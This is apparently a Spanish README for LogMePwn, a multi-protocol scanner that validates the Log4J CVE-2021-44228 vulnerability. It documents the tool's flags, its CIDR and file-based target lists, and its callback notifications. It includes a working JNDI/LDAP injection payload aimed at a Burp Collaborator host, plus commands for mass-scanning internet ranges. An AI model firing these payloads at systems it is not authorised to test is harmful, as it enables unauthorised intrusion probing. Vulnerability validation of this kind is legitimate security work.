
Un kit de herramientas totalmente automatizado, fiable y ultrarrápido para escanear y validar la vulnerabilidad Log4J RCE CVE-2021-44228.
LogMePwn es un kit de herramientas de escaneo y validación totalmente automatizado, multiprotocolo, confiable y súper rápido para la vulnerabilidad Log4J RCE CVE-2021-44228.

LogMePwn funciona utilizando Canary Tokens, que a su vez proporcionan notificaciones por correo electrónico y webhook a tu canal de comunicación preferido. Si tienes un servidor de callback personalizado, ¡definitivamente también puedes usarlo!
Para usar la herramienta, puedes obtener un binario de la sección Releases según tu distribución y usarlo. Si quieres compilar la herramienta, necesitarás Go >= 1.13. Simplemente clona el repositorio y ejecuta go build.
Aquí está el uso básico de la herramienta:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
Specify a custom callback server.
-delay int
Delay between subsequent requests for the same host to avoid overwhelming the host.
-email string
Email to use for the receiving callback notifications.
-fbody string
Specify a format string to use as the body of the HTTP request.
-file string
Specify a file containing list of hosts to scan.
-ftp-ports string
Comma separated list of HTTP ports to scan per target. (default "21")
-headers string
Comma separated list of HTTP headers to use; if empty a default set of headers are used.
-headers-file string
Specify a file containing custom set of headers to use in HTTP requests.
-http-methods string
Comma separated list of HTTP methods to use while scanning. (default "GET")
-http-ports string
Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
-imap-ports string
Comma separated list of IMAP ports to scan per target. (default "143,993")
-json
Use body of type JSON in HTTP requests that can contain a body.
-payload string
Specify a single payload or a file containing list of payloads to use.
-protocol string
Specify a protocol to test for vulnerabilities. (default "all")
-ssh-ports string
Comma separated list of SSH ports to scan per target. (default "22")
-threads int
Number of threads to use while scanning. (default 10)
-token string
Canary token payload to use in requests; if empty, a new token will be generated.
-user-agent string
Custom user-agent string to use; if empty, payloads will be used.
-webhook string
Webhook to use for receiving callback notifications.
-xml
Use body of type XML in HTTP requests that can contain a body.
Examples:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
NUEVO: Esta funcionalidad fue introducida en v2.0.
Con la última versión se ha introducido soporte para múltiples protocolos. Hasta ahora tenemos 4 protocolos diferentes:
Si no especificas un protocolo mediante el argumento -protocol, la herramienta ejecutará todos los plugins para cada protocolo compatible contra el conjunto de puertos predeterminados mencionados.
Ver cómo controlar los puertos para cada protocolo.
Ejemplo:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # scans for all protocols on default ports
Los objetivos se pueden especificar de dos formas: mediante la interfaz de línea de comandos como argumentos, o mediante un archivo.
NUEVO: ¡Ahora incluso puedes pasar rangos CIDR para escanear! Esta funcionalidad fue introducida en v1.1.
Ejemplo:
./lmp <other args here> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <other args here> -file internet-ranges.lst
./lmp <other args here> 192.168.0.0/26 1.2.3.4/30
Cada protocolo tiene una lista de puertos compatibles por defecto que se puede ajustar usando los siguientes indicadores:
-http-ports para HTTP.-imap-ports para IMAP.-ssh-ports para SSH.-ftp-ports para FTP.Si el usuario menciona un par host+puerto en forma de host:port, la lista de puertos predeterminada se descarta y todas las comprobaciones se realizan para ese puerto específico. Si no se menciona -protocol, se probarán los plugins de todos los protocolos contra el mismo puerto.
Esta funcionalidad fue introducida en v1.1.
Puedes especificar un payload directamente mediante el argumento -payload. Sin embargo, si deseas que el nombre DNS del host que se está probando aparezca en el payload, puedes especificar una directiva de formato $DNSNAME$ que será reemplazada por el objetivo contra el cual se está probando el payload.
p. ej., si proporcionas un comando como este:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
Entonces, al enviar una solicitud HTTP a la URL, el payload se vería así:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
Esta funcionalidad te ayudaría a evaluar qué hosts son vulnerables al realizar fuzzing de caja negra.
También puedes especificar un payload que contenga múltiples variaciones del mismo usando el mismo argumento. (Ver payloads-sample.txt). Ejemplo:
./lmp -payload payloads-sample.txt vulnerable.site.com
NOTA: Esta funcionalidad no funciona con Canary Tokens. Canarytokens no admite formatos DNS personalizados.
NOTA: Si estás proporcionando un payload personalizado con
-payload, especificar un canal de notificación NO es necesario. El payload mismo debe contener tu servidor de callback.
Los canales de notificación pueden ser cualquiera de los siguientes:
-email)-webhook)-custom-server)La herramienta utiliza Canary Tokens; puedes crear uno desde aquí, o dejar que la herramienta cree un token por ti. Si la herramienta crea un token, este se escribirá en un archivo llamado canarytoken-logmepwn.json, que incluirá el token en sí y la autenticación (ambos necesarios para ver los disparadores a través de la interfaz web).
Si ya tienes un token, puedes usar el argumento -token para usar el token directamente y no crear uno nuevo.
NOTA: Si proporcionas un correo electrónico o un webhook, la herramienta creará un canary token personalizado. Si usas un servidor de callback personalizado, los tokens no intervienen.